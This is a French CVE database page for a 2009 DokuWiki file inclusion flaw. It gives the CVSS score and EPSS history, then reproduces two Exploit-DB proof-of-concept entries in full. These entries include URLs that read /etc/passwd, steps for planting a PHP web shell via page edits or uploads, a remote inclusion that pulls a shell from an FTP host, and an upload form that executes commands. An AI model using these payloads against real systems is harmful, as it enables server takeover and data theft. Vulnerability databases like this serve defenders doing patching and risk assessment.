CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
inc/init.php in DokuWiki 2009-02-14, rc2009-02-06, and rc2009-01-30, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via the config_cascade[main][default][] parameter to doku.php. NOTE: PHP remote file inclusion is also possible in PHP 5 using ftp:// URLs.
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2
EPSS V3
2022-02-06
–
–
6.79%
–
2022-04-03
–
–
6.79%
–
2022-05-22
–
–
6.79%
–
2023-03-12
–
–
–
19.54%
2023-04-09
–
–
–
19.54%
2023-09-10
–
–
–
19.02%
2023-10-29
–
–
–
24.14%
2023-11-12
–
–
–
24.79%
2024-01-21
–
–
–
23.01%
2024-06-02
–
–
–
23.01%
2024-06-02
–
–
–
23.01%
2024-11-10
–
–
–
17.65%
2024-12-15
–
–
–
12.44%
2024-12-22
–
–
–
11.18%
2025-01-26
–
–
–
7.17%
2025-01-26
–
–
–
7.17,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2009-05-25 22h00 +00:00 Auteur : girex EDB Vérifié : Yes
# Author_ girex
# Homepage_ girex.altervista.org
# CMS_ Dokuwiki
# Homepage_ dokuwiki.org
# Affected versions_ 2009-02-14
rc2009-02-06
rc2009-01-30
# Bug_ Local file inclusion
# Need_ register_globals = On
# Vuln description_
# File: /inc/init.php
// if available load a preload config file
$preload = fullpath(dirname(__FILE__)).'/preload.php';
if (@file_exists($preload)) include($preload);
...
//set the configuration cascade - but only if its not already been set in preload.php
global $config_cascade;
if (empty($config_cascade)) {
$config_cascade = array(
'main' => array(
'default' => array(DOKU_CONF.'dokuwiki.php'),
'local' => array(DOKU_CONF.'local.php'),
'protected' => array(DOKU_CONF.'local.protected.php'),
),
...
// load the global config file(s)
foreach (array('default','local','protected') as $config_group) {
if (empty($config_cascade['main'][$config_group])) continue;
foreach ($config_cascade['main'][$config_group] as $config_file) {
if (@file_exists($config_file)) {
include($config_file);
}
}
}
# File preload.php doesn't exists. (so seems for the affected versions)
# So we can set $config_cascade arrays via register globals
# It's not a RFI couse use of file_exists function.
# First of all you can check the dokuwiki's version here:
# /[host]/[path]/VERSION
# and check if it's a vulnerable version
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./README
# Note:
# You can obtain a remote command execution if you can edit the content of a page
# Just insert your php code into it like: <?php system($_GET[cmd]); ?>
# And include it:
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt
# Or you can check if you have permissions to upload file via:
# [host]/[path]/lib/exe/mediamanager.php
# If so, upload your file with .doc extension then include it:
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc
# milw0rm.com [2009-05-26]
Date de publication : 2009-05-25 22h00 +00:00 Auteur : Nine:Situations:Group EDB Vérifié : Yes
Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
tested and working
I was reading: http://www.milw0rm.com/exploits/8781
by girex
[quote]
It's not a RFI couse use of file_exists function.
[/quote]
How wrong brother!
trick 1 (ftp:// wrapper with php 5):
needs register_globals = on
allow_url_fopen = On (default)
allow_url_include = On (not default)
http://[host]/dokuwiki-2009-02-14/doku.php?config_cascade[main][default][]=ftp://anonymous:anon@1.12.123.123/folder/sh.php&cmd=ls%20-la>out.txt
trick 2:
needs register_globals = on
file_uploads = On (default)
include a temporary file passed by the $_FILES[] array:
<form action="http://[host]/dokuwiki-2009-02-14/doku.php?cmd=ls%20-la" method="post" enctype="multipart/form-data" target="_self">
<input name="config_cascade[main][default][]" type="file">
<input type="submit" value="submit">
</form>
where your shell is like:
<?php passthru($_GET[cmd]); die();?>
because when there is no prefix or suffix for the affected var, it remains like this:
/path_to_temporary_folder/php93.tmp !
Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/
# milw0rm.com [2009-05-26]